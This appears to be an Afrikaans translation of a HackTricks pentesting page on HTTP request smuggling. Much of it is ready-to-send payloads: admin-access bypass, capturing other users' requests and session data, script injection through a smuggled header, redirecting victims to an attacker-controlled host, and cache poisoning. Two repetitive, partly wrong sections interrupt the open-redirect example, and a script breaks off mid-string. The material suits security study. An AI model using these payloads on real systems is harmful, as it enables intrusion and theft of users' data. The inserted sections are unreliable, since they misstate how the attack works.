hacktricks/pentesting-web/http-request-smuggling

HTTP Aanvraag Smuggling / HTTP Desync Aanval

Leer AWS hack vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

• As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai, kyk na die SUBSCRIPTION PLANS!
• Kry die amptelike PEASS & HackTricks swag
• Ontdek The PEASS Family, ons versameling eksklusiewe NFTs
• Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
• Deel jou hacktruuks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.

Wat is

Hierdie kwesbaarheid kom voor wanneer 'n desinkronisasie tussen front-end proksi's en die agterste bediener 'n aanvaller in staat stel om 'n HTTP versoek te stuur wat deur die front-end proksi's (ladingsbalansering/omgekeerde proksi) as 'n enkele versoek en deur die agterste bediener as 2 versoek geïnterpreteer sal word.
Dit stel 'n gebruiker in staat om die volgende versoek wat by die agterste bediener aankom na hom te verander.

Teorie

RFC Spesifikasie (2161)

As 'n boodskap ontvang word met beide 'n Transfer-Encoding kopvelveld en 'n Content-Length kopvelveld, moet die laasgenoemde geïgnoreer word.

Content-Length

Die Content-Length entiteitkopvel dui die grootte van die entiteitliggaam, in byte, aan wat na die ontvanger gestuur word.

Transfer-Encoding: chunked

Die Transfer-Encoding kopvel spesifiseer die vorm van kodering wat gebruik word om die nutliggaam veilig na die gebruiker oor te dra.
Chunked beteken dat groot data in 'n reeks brokkies gestuur word.

Werklikheid

Die Front-End (ladingsbalansering/omgekeerde proksi) verwerk die content-length of die transfer-encoding kopvel en die Agterste bediener verwerk die ander een, wat 'n desinkronisasie tussen die 2 stelsels veroorsaak.
Dit kan baie krities wees, want 'n aanvaller sal in staat wees om een versoek na die omgekeerde proksi te stuur wat deur die agterste bediener as 2 verskillende versoek geïnterpreteer sal word. Die gevaar van hierdie tegniek lê daarin dat die agterste bediener die 2de ingeslote versoek sal interpreteer asof dit van die volgende kliënt afkomstig is en die werklike versoek van daardie kliënt sal deel wees van die ingeslote versoek.

Besonderhede

Onthou dat in HTTP 'n nuwe lynkarakter uit 2 byte bestaan:

• Content-Length: Hierdie kopvel gebruik 'n desimale getal om die aantal byte van die versoek se liggaam aan te dui. Daar word verwag dat die liggaam eindig met die laaste karakter, 'n nuwe lyn is nie nodig aan die einde van die versoek nie.
• Transfer-Encoding: Hierdie kopvel gebruik in die liggaam 'n heksadesimale getal om die aantal byte van die volgende brokkie aan te dui. Die brokkie moet eindig met 'n nuwe lyn, maar hierdie nuwe lyn word nie getel deur die lengte-aanwyser nie. Hierdie oordragmetode moet eindig met 'n brokkie van grootte 0 gevolg deur 2 nuwe lyne: 0
• Connection: Gebaseer op my ondervinding word dit aanbeveel om Connection: keep-alive te gebruik vir die eerste versoek van die versoek Smuggling.

Basiese Voorbeelde

HTTP-aanvraag-smuggling-aanvalle word saamgestel deur dubbelsinnige versoek te stuur wat diskrepansies in hoe front-end en agterste bedieners die Content-Length (CL) en Transfer-Encoding (TE) kopvels interpreteer, uitbuit. Hierdie aanvalle kan in verskillende vorme voorkom, hoofsaaklik as CL.TE, TE.CL, en TE.TE. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en agterste bedieners hierdie kopvels prioritiseer. Die kwesbaarhede ontstaan as gevolg van die bedieners wat dieselfde versoek op verskillende maniere verwerk, wat lei tot onverwagte en potensieel skadelike uitkomste.

Basiese Voorbeelde van Kwesbaarheidstipes

CL.TE Kwesbaarheid (Content-Length gebruik deur Front-End, Transfer-Encoding gebruik deur Agter-End)

• Front-End (CL): Verwerk die versoek op grond van die Content-Length kopvel.
• Agter-End (TE): Verwerk die versoek op grond van die Transfer-Encoding kopvel.
• Aanvalscenario:
• Die aanvaller stuur 'n versoek waar die waarde van die Content-Length kopvel nie ooreenstem met die werklike inhoudslengte nie.
• Die front-end bediener stuur die hele versoek na die agterste bediener, gebaseer op die Content-Length waarde.
• Die agterste bediener verwerk die versoek as gekap weens die Transfer-Encoding: chunked kopvel, en interpreteer die oorblywende data as 'n afsonderlike, daaropvolgende versoek.
• Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Kwesbaarheid (Transfer-Encoding gebruik deur Front-End, Content-Length gebruik deur Agter-End)

• Front-End (TE): Verwerk die versoek op grond van die Transfer-Encoding kopvel.
• Agter-End (CL): Verwerk die versoek op grond van die Content-Length kopvel.
• Aanvalscenario:
• Die aanvaller stuur 'n gekapte versoek waar die broksgrootte (7b) en werklike inhoudslengte (Content-Length: 4) nie ooreenstem nie.
• Die front-end bediener stuur die hele versoek na die agterste bediener, in ooreenstemming met Transfer-Encoding.
• Die agterste bediener verwerk slegs die aanvanklike deel van die versoek (7b byte) volgens Content-Length, en laat die res as deel van 'n onbedoelde daaropvolgende versoek.
• Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: kwesbare-webwerf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Kwesbaarheid (Transfer-Encoding gebruik deur beide, met verduistering)

• Bedieners: Beide ondersteun Transfer-Encoding, maar een kan mislei word om dit te ignoreer deur middel van verduistering.
• Aanvalscenario:
• Die aanvaller stuur 'n versoek met verduisterde Transfer-Encoding-koppe.
• Afhangende van watter bediener (voorkant of agterkant) nie die verduistering herken nie, kan 'n CL.TE of TE.CL kwesbaarheid uitgebuit word.
• Die onverwerkte deel van die versoek, soos gesien deur een van die bedieners, word deel van 'n daaropvolgende versoek, wat lei tot smokkelary.
• Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL Scenario (Content-Length gebruik deur beide Voorkant en Agterkant):

• Beide bedieners verwerk die versoek uitsluitlik op grond van die Content-Length-kop.
• Hierdie scenario lei tipies nie tot smokkelary nie, aangesien daar ooreenstemming is oor hoe beide bedieners die versoeklengte interpreteer.
• Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Content-Length: 16
Connection: keep-alive

Normale versoek

CL != 0 Scenario:

• Verwys na scenario's waar die Content-Length-kop teenwoordig is en 'n waarde anders as nul het, wat aandui dat die versoekliggaam inhoud het.
• Dit is belangrik om smokkelary-aanvalle te verstaan en te ontwikkel, aangesien dit beïnvloed hoe bedieners die einde van 'n versoek bepaal.
• Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Content-Length: 16
Connection: keep-alive

Nie-leë Liggaam

Dwang deur middel van hop-by-hop-koppe

Deur hop-by-hop-koppe te misbruik, kan jy die proxy aandui om die kop Content-Length of Transfer-Encoding te verwyder sodat 'n HTTP-versoeksmokkelary moontlik is om te misbruik.

Connection: Content-Length

Vir meer inligting oor hop-by-hop koppe besoek:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Die Identifisering van HTTP Aanvraag Smuggling

Die identifisering van HTTP aanvraag smuggling kwesbaarhede kan dikwels bereik word deur gebruik te maak van tydsberekeningstegnieke, wat afhang van die waarneming van hoe lank dit neem vir die bediener om te reageer op gemanipuleerde aanvrae. Hierdie tegnieke is veral nuttig vir die opsporing van CL.TE en TE.CL kwesbaarhede. Benewens hierdie metodes is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede op te spoor:

Die Identifisering van CL.TE Kwesbaarhede deur Gebruik te Maak van Tydsberekeningstegnieke

• Metode:
• Stuur 'n aanvraag wat, as die toepassing kwesbaar is, die agterste bediener sal laat wag vir addisionele data.
• Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

• Waarneming:

• Die voorkantbediener verwerk die aanvraag op grond van Content-Length en sny die boodskap vroegtydig af.

• Die agterste bediener, wat 'n gekapte boodskap verwag, wag vir die volgende blok wat nooit aankom nie, wat 'n vertraging veroorsaak.

• Aanduiders:

• Tyduitloop of lang vertragings in die respons.

• Ontvang 'n 400 Bad Request fout van die agterste bediener, soms met gedetailleerde bedienerinligting.

Die Identifisering van TE.CL Kwesbaarhede deur Gebruik te Maak van Tydsberekeningstegnieke

• Metode:
• Stuur 'n aanvraag wat, as die toepassing kwesbaar is, die agterste bediener sal laat wag vir addisionele data.
• Voorbeeld:

POST / HTTP/1.1
Host: kwesbare-webwerf.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

• Waarneming:
• Die voorkantbediener verwerk die aanvraag op grond van Transfer-Encoding en stuur die hele boodskap aan.
• Die agterste bediener, wat 'n boodskap verwag op grond van Content-Length, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.

Ander Metodes om Kwesbaarhede op te Spoor

• Differensiële Responsanalise:

• Stuur effens gevarieerde weergawes van 'n aanvraag en let op of die bedienerresponsies op 'n onverwagte manier verskil, wat 'n parsingsdiskrepansie aandui.

• Die Gebruik van Outomatiese Gereedskap:

• Gereedskap soos Burp Suite se 'HTTP Request Smuggler' uitbreiding kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van dubbelsinnige aanvrae te stuur en die responsies te analiseer.

• Content-Length Variansietoetse:

• Stuur aanvrae met wisselende Content-Length waardes wat nie ooreenstem met die werklike inhoudslengte nie en let op hoe die bediener sulke mismatches hanteer.

• Transfer-Encoding Variansietoetse:

• Stuur aanvrae met geobfuskeerde of verkeerd geformuleerde Transfer-Encoding koppe en monitor hoe die voorkant- en agterste bedieners verskillend reageer op sulke manipulasies.

Toetsing van HTTP Aanvraag Smuggling Kwesbaarhede

Nadat die doeltreffendheid van tydsberekeningstegnieke bevestig is, is dit noodsaaklik om te verifieer of kliëntaanvrae gemanipuleer kan word. 'n Eenvoudige metode is om jou aanvrae te probeer vergiftig, byvoorbeeld deur 'n aanvraag na / te maak wat 'n 404-respons veroorsaak. Die CL.TE en TE.CL voorbeelde wat vroeër bespreek is in Basiese Voorbeelde demonstreer hoe om 'n kliënt se aanvraag te vergiftig om 'n 404-respons te verkry, ten spyte van die kliënt se doel om toegang tot 'n ander bron te verkry.

Belangrike Oorwegings

Wanneer jy toets vir aanvraag smuggling kwesbaarhede deur inmenging met ander aanvrae, moet jy in gedagte hou:

• Verskillende Netwerkverbindings: Die "aanval" en "normale" aanvrae moet oor afsonderlike netwerkverbindings gestuur word. Die gebruik van dieselfde verbinding vir beide valideer nie die teenwoordigheid van die kwesbaarheid nie.
• Konsekwente URL en Parameters: Streef daarna om identiese URL's en parametername vir beide aanvrae te gebruik. Moderne toepassings roeteer dikwels aanvrae na spesifieke agterste bedieners op grond van URL en parameters. Deur dit te pas, verhoog jy die waarskynlikheid dat beide aanvrae deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle aanval.
• Tydsberekening en Wedloopvoorwaardes: Die "normale" aanvraag, bedoel om inmenging van die "aanval" aanvraag op te spoor, kompeteer teenoor ander gelyktydige toepassingsaanvrae. Stuur dus die "normale" aanvraag onmiddellik na die "aanval" aanvraag. Besige toepassings mag dalk verskeie pogings vereis vir 'n oortuigende bevestiging van die kwesbaarheid.
• Lasbalansering Uitdagings: Voorkantbedieners wat as lasbalanserings optree, kan aanvrae oor verskillende agterste stelsels versprei. As die "aanval" en "normale" aanvrae op verskillende stelsels beland, sal die aanval nie slaag nie. Hierdie aspek van lasbalansering mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
• Onbedoelde Gebruikerimpak: As jou aanval onbedoeld 'n impak het op 'n ander gebruiker se aanvraag (nie die "normale" aanvraag wat jy vir opsporing gestuur het nie), dui dit daarop dat jou aanval 'n invloed op 'n ander toepassingsgebruiker gehad het. Deurlopende toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.

Misbruik van HTTP Aanvraag Smuggling

Om voorkant-sekuriteitsbeheer te omseil

Omseiling van Voorkant-Sekuriteit deur middel van HTTP Aanvraag Smuggling

Soms dwing voorkantproksi's sekuriteitsmaatreëls af deur inkomende aanvrae te ondersoek. Hierdie maatreëls kan egter omseil word deur HTTP Aanvraag Smuggling te misbruik, wat ongemagtigde toegang tot beperkte eindpunte moontlik maak. Byvoorbeeld, toegang tot /admin kan ekstern verbied word, met die voorkantproksi wat sulke pogings aktief blokkeer. Nietemin mag hierdie proksi versuim om ingebedde aanvrae binne 'n gesmokkelde HTTP-aanvraag te ondersoek, wat 'n gaping laat vir die omseiling van hierdie beperkings.

Oorweeg die volgende voorbeelde wat illustreer hoe HTTP Aanvraag Smuggling gebruik kan word om voorkant-sekuriteitsbeheer te omseil, met spesifieke fokus op die /admin roete wat tipies deur die voorkantproksi beskerm word:

CL.TE Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

In die CL.TE-aanval word die Content-Length-kop gebruik vir die aanvanklike versoek, terwyl die daaropvolgende ingebedde versoek die Transfer-Encoding: chunked-kop gebruik. Die voorentiteit-proksi verwerk die aanvanklike POST-versoek, maar misluk om die ingebedde GET /admin-versoek te ondersoek, wat ongemagtigde toegang tot die /admin-roete toelaat.

TE.CL Voorbeeld

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

Omgekeerd, in die TE.CL-aanval, gebruik die aanvanklike POST-versoek Transfer-Encoding: chunked, en die daaropvolgende ingebedde versoek word verwerk op grond van die Content-Length-kop. Soortgelyk aan die CL.TE-aanval, ignoreer die voorkantproksi die gesmokkelde GET /admin-versoek en verleen onbedoeld toegang tot die beperkte /admin-roete.

Onthulling van voorkantversoekherskrywing

Toepassings maak dikwels gebruik van 'n voorkantbediener om inkomende versoek te wysig voordat dit na die agterkantbediener gestuur word. 'n Tipiese wysiging behels die byvoeging van koppe, soos X-Forwarded-For: <IP van die kliënt>, om die IP van die kliënt na die agterkant te stuur. Om hierdie wysigings te ondersoek, soek 'n POST-parameter wat deur die agterkant in die respons herhaal word. Stel dan 'n versoek op, waarin hierdie parameter laaste gebruik word, soortgelyk aan die volgende:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

In hierdie struktuur word daaropvolgende versoekkomponente bygevoeg na search=, wat die parameter is wat in die respons weerspieël word. Hierdie weerspieëling sal die opskrifte van die daaropvolgende versoek blootstel.

Dit is belangrik om die Content-Length-opskrif van die geneste versoek in lyn te bring met die werklike inhoudslengte. Dit is raadsaam om met 'n klein waarde te begin en geleidelik te verhoog, aangesien 'n te lae waarde die weerspieëlde data sal afsny, terwyl 'n te hoë waarde kan veroorsaak dat die versoek foute genereer.

Hierdie tegniek is ook toepaslik in die konteks van 'n TE.CL-veiligheidskwesbaarheid, maar die versoek moet eindig met search=\r\n0. Ongeag die nuwe lynkarakters, sal die waardes by die soekparameter aangeheg word.

Hierdie metode dien hoofsaaklik om die versoekmodifikasies wat deur die voorkantse proxy gemaak is, te verstaan, en voer in wese 'n selfgerigte ondersoek uit.

Vaslegging van ander gebruikers se versoek

Dit is moontlik om die versoek van die volgende gebruiker vas te lê deur 'n spesifieke versoek as die waarde van 'n parameter by te voeg tydens 'n POST-operasie. So kan dit gedoen word:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

In hierdie scenario is die kommentaarparameter bedoel om die inhoud binne 'n pos se kommentaarafdeling op 'n openbare toeganklike bladsy te stoor. Gevolglik sal die inhoud van die volgende versoek as 'n kommentaar verskyn.

Hierdie tegniek het egter beperkings. Dit vang gewoonlik slegs data op tot by die parametergrens wat in die gesmokkelde versoek gebruik word. Vir URL-gekodeerde vormindienings is hierdie grens die & karakter. Dit beteken dat die vasgevangde inhoud van die slagoffer se versoek sal stop by die eerste &, wat selfs deel van die vraagstring kan wees.

Daarbenewens is dit die moeite werd om op te let dat hierdie benadering ook lewensvatbaar is met 'n TE.CL kwesbaarheid. In sulke gevalle moet die versoek eindig met search=\r\n0. Ongeag nuwe lynkarakters sal die waardes aan die soekparameter geheg word.

Die gebruik van HTTP-versoeksmokkeling om weerspieëlde XSS uit te buit

HTTP-versoeksmokkeling kan gebruik word om webbladsye wat vatbaar is vir weerspieëlde XSS uit te buit en bied aansienlike voordele:

• Interaksie met die teikengebruikers is nie nodig nie.
• Maak die uitbuiting van XSS moontlik in dele van die versoek wat normaalweg onbereikbaar is, soos HTTP-versoekkoppe.

In scenario's waar 'n webwerf vatbaar is vir Weerspieëlde XSS deur die Gebruiker-Agent-kop, demonstreer die volgende lading hoe om hierdie kwesbaarheid uit te buit:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

Hierdie payload is gestruktureer om die kwesbaarheid uit te buit deur:

1. 'n POST versoek te begin, wat skynbaar tipies is, met 'n Transfer-Encoding: chunked kop om die begin van die smokkeling aan te dui.
2. Vervolgens 'n 0 te volg, wat die einde van die gekapte boodskaplêer aandui.
3. Daarna word 'n gesmokkelde GET versoek ingevoer, waar die User-Agent kop geïnjecteer word met 'n skripsie, <script>alert(1)</script>, wat die XSS aktiveer wanneer die bediener hierdie volgende versoek verwerk.

Deur die User-Agent te manipuleer deur middel van smokkeling, omseil die payload normale versoekbeperkings en benut dit dus die Reflected XSS-kwesbaarheid op 'n nie-standaard, maar effektiewe wyse.

Die gebruik van HTTP-versoeksmokkeling om 'n plaaslike omleiding in 'n oop omleiding te verander

Uitbuiting van plaaslike omleidings met HTTP-versoeksmokkeling

Toepassings stuur dikwels 'n omleiding van die een URL na die ander deur die gasheernaam van die Host-kop in die omleidings-URL te gebruik. Dit is algemeen met webbedieners soos Apache en IIS. Byvoorbeeld, as 'n gids sonder 'n agterslag aangevra word, lei dit tot 'n omleiding om die agterslag in te sluit:

GET /home HTTP/1.1
Host: normal-website.com

HTTP Request Smuggling

Hierdie tegniek maak gebruik van 'n kwesbaarheid in die manier waarop webbedieners HTTP-aanvrae interpreteer wat deur 'n kliënt gestuur word. Dit maak dit moontlik vir 'n aanvaller om 'n aanvraag te manipuleer sodat dit verskillend geïnterpreteer word deur die webbediener en die agterliggende stelsel.

Hoe werk dit?

HTTP-aanvraag-smuggling maak gebruik van die verskil in die manier waarop webbedieners HTTP-aanvrae interpreteer wat deur 'n kliënt gestuur word. Dit maak gebruik van twee verskillende HTTP-protokolle, naamlik HTTP/1.1 en HTTP/1.0, wat verskillende maniere het om aanvrae te lees.

Die aanvaller kan 'n spesifieke aanvraag manipuleer sodat dit deur die webbediener as twee afsonderlike aanvrae geïnterpreteer word. Hierdie kwesbaarheid kan gebruik word om sekuriteitsmaatreëls soos sekuriteitsreëls, toegangsbeheer en sessiebeheer te omseil.

Aanvalstegnieke

Daar is verskeie aanvalstegnieke wat gebruik kan word om HTTP-aanvraag-smuggling uit te voer. Hier is 'n paar voorbeelde:

• CL.TE: Hierdie tegniek maak gebruik van die "Content-Length" en "Transfer-Encoding" koppe om 'n aanvraag te manipuleer sodat dit deur die webbediener as twee afsonderlike aanvrae geïnterpreteer word.
• TE.CL: Hierdie tegniek maak gebruik van die "Transfer-Encoding" en "Content-Length" koppe om 'n aanvraag te manipuleer sodat dit deur die webbediener as twee afsonderlike aanvrae geïnterpreteer word.
• CL.CL: Hierdie tegniek maak gebruik van die "Content-Length" kop om 'n aanvraag te manipuleer sodat dit deur die webbediener as twee afsonderlike aanvrae geïnterpreteer word.

Voorkoming

Om HTTP-aanvraag-smuggling te voorkom, kan die volgende maatreëls geneem word:

• Opdatering van webbedieners: Verseker dat die webbediener opgedateer is met die nuutste opdaterings en veiligheidsoplossings.
• Sekuriteitsreëls: Implementeer sekuriteitsreëls wat verdagte aanvrae kan identifiseer en blokkeer.
• Toegangsbeheer: Stel streng toegangsbeheer in om ongemagtigde toegang tot die webbediener te voorkom.
• Sessiebeheer: Implementeer veilige sessiebeheerpraktyke om die risiko van aanvalle te verminder.

Verwante hulpbronne

• HTTP Request Smuggling - PortSwigger
• HTTP Request Smuggling - OWASP

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Alhoewel dit op die oog af onskadelik mag lyk, kan hierdie gedrag gemanipuleer word deur gebruik te maak van HTTP-aanvraagsmokkelary om gebruikers na 'n eksterne webwerf te herlei. Byvoorbeeld:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

Hierdie gesmokkelde versoek kan veroorsaak dat die volgende verwerkte gebruikersversoek na 'n webwerf wat deur 'n aanvaller beheer word, omgelei word:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

HTTP Request Smuggling

Hierdie tegniek maak gebruik van 'n kwesbaarheid in die manier waarop HTTP-verbindings hanteer word deur 'n webbediener en 'n voorste bediener. Dit maak dit moontlik vir 'n aanvaller om 'n HTTP-aanvraag te manipuleer sodat dit verskillend geïnterpreteer word deur die twee bedieners, wat lei tot 'n aanval wat bekend staan as HTTP-aanvraagsmokkelary.

Hoe werk dit?

HTTP-aanvraagsmokkelary maak gebruik van die verskil in die manier waarop 'n webbediener en 'n voorste bediener HTTP-aanvrae interpreteer. Die aanvaller manipuleer die HTTP-aanvraag deur spesifieke karakters of leestekens in te sluit wat deur die voorste bediener geïgnoreer word, maar deur die webbediener geïnterpreteer word. Hierdie manipulasie kan lei tot verskillende interpretasies van die aanvraag deur die twee bedieners, wat uiteindelik kan lei tot 'n aanval.

Aanvalstegnieke

Daar is verskeie aanvalstegnieke wat gebruik kan word vir HTTP-aanvraagsmokkelary, insluitend:

• Content-Length Smuggling: Hierdie tegniek maak gebruik van die verskil in die manier waarop die Content-Length-kop in 'n HTTP-aanvraag geïnterpreteer word deur die voorste bediener en die webbediener. Dit behels die manipulasie van die Content-Length-waarde om 'n aanval uit te voer.
• Transfer-Encoding Smuggling: Hierdie tegniek maak gebruik van die verskil in die manier waarop die Transfer-Encoding-kop in 'n HTTP-aanvraag geïnterpreteer word deur die voorste bediener en die webbediener. Dit behels die manipulasie van die Transfer-Encoding-waarde om 'n aanval uit te voer.
• Chunked Encoding Smuggling: Hierdie tegniek maak gebruik van die verskil in die manier waarop die Transfer-Encoding-kop in 'n HTTP-aanvraag geïnterpreteer word deur die voorste bediener en die webbediener. Dit behels die manipulasie van die Transfer-Encoding-waarde en die gebruik van "chunked encoding" om 'n aanval uit te voer.

Voorkoming

Om HTTP-aanvraagsmokkelary te voorkom, kan die volgende maatreëls geneem word:

• Bewus wees van die kwesbaarheid: Dit is belangrik om bewus te wees van die moontlikheid van HTTP-aanvraagsmokkelary en die verskillende aanvalstegnieke wat gebruik kan word.
• Besoek die webbediener en voorste bediener: Deur die webbediener en voorste bediener te besoek, kan jy die manier waarop hulle HTTP-aanvrae interpreteer, verstaan en moontlike kwesbaarhede identifiseer.
• Implementeer veilige HTTP-verbindings: Dit sluit in die gebruik van veilige HTTP-verbindingsprotokolle soos HTTPS en die implementering van veilige HTTP-koppe soos Content-Length en Transfer-Encoding.
• Besoek die webbediener en voorste bediener: Deur die webbediener en voorste bediener te besoek, kan jy die manier waarop hulle HTTP-aanvrae interpreteer, verstaan en moontlike kwesbaarhede identifiseer.
• Implementeer veilige HTTP-verbindings: Dit sluit in die gebruik van veilige HTTP-verbindingsprotokolle soos HTTPS en die implementering van veilige HTTP-koppe soos Content-Length en Transfer-Encoding.

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

In hierdie scenario word 'n gebruiker se versoek vir 'n JavaScript-lêer gekaap. Die aanvaller kan potensieel die gebruiker in gevaar stel deur kwaadwillige JavaScript as reaksie te dien.

Gebruik van HTTP-aanvraagsmokkelary om web-cache-vergiftiging uit te voer

Uitbuiting van web-cache-vergiftiging via HTTP-aanvraagsmokkelary

Web-cache-vergiftiging kan uitgevoer word as enige komponent van die front-end-infrastruktuur inhoud in die kas stoor, tipies om prestasie te verbeter. Deur die server se reaksie te manipuleer, is dit moontlik om die kas te vergiftig.

Vroeër het ons waargeneem hoe die server se reaksies verander kan word om 'n 404-fout terug te gee (verwys na Basiese Voorbeelde). Op soortgelyke wyse is dit moontlik om die bedrog te speel en die bediener te laat /index.html-inhoud terugstuur as reaksie op 'n versoek vir /static/include.js. Gevolglik word die inhoud van /static/include.js in die kas vervang met dié van /index.html, wat /static/include.js ontoeganklik maak vir gebruikers en moontlik lei tot 'n Dienste-weieringsaanval (DoS).

Hierdie tegniek word veral kragtig as 'n Open Redirect-gebrek ontdek word of as daar 'n op-die-web-omleiding na 'n oop omleiding is. Sulke kwesbaarhede kan uitgebuit word om die gekasde inhoud van /static/include.js te vervang met 'n skrips onder die beheer van die aanvaller, wat in wese 'n wye verspreiding Kruiswebklets (XSS) aanval moontlik maak teen alle kliënte wat die bygewerkte /static/include.js aanvra.

Hieronder is 'n illustrasie van die uitbuiting van kasvergiftiging gekombineer met 'n op-die-web-omleiding na 'n oop omleiding. Die doel is om die kasinhoud van /static/include.js te verander om JavaScript-kode wat deur die aanvaller beheer word, te dien:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

Merk die ingebedde versoek wat mik op /post/next?postId=3. Hierdie versoek sal omgelei word na /post?postId=4, deur gebruik te maak van die Host-kopwaarde om die domein te bepaal. Deur die Host-kop te verander, kan die aanvaller die versoek na hul domein omlei (op-die-web omleiding na oop omleiding).

Na suksesvolle socket vergiftiging, moet 'n GET-versoek vir /static/include.js geïnisieer word. Hierdie versoek sal besmet word deur die vorige op-die-web omleiding na oop omleiding versoek en die inhoud van die skrip wat deur die aanvaller beheer word, ophaal.

Daarna sal enige versoek vir /static/include.js die gekaapte inhoud van die aanvaller se skrip bedien, wat 'n breë XSS-aanval lanceer.

Gebruik van HTTP-versoeksmokkelary om webkassie-bedrog uit te voer

Wat is die verskil tussen webkassie-vergiftiging en webkassie-bedrog?

• By webkassie-vergiftiging laat die aanvaller die toepassing toe om 'n paar skadelike inhoud in die kassie te stoor, en hierdie inhoud word van die kassie aan ander toepassingsgebruikers bedien.
• By webkassie-bedrog laat die aanvaller die toepassing toe om 'n paar sensitiewe inhoud wat aan 'n ander gebruiker behoort, in die kassie te stoor, en die aanvaller haal dan hierdie inhoud uit die kassie.

Die aanvaller skep 'n gesmokkelde versoek wat sensitiewe gebruikerspesifieke inhoud ophaal. Oorweeg die volgende voorbeeld:

`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
``\ `0`\``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

Indien hierdie gesmokkelde versoek 'n kasinskrywing vergiftig wat bedoel is vir statiese inhoud (bv. /someimage.png), kan die slagoffer se sensitiewe data vanaf /private/messages gekas onder die kasinskrywing van die statiese inhoud. Gevolglik kan die aanvaller moontlik hierdie gekas sensitiewe data herwin.

Bewapening van HTTP Versoek Smokkel met HTTP Respons Desynchronisering

Het jy 'n HTTP Versoek Smokkel kwesbaarheid gevind en weet jy nie hoe om dit uit te buit nie. Probeer hierdie ander metode van uitbuiting:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Turbo indringer skripte

CL.TE

Vanaf https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
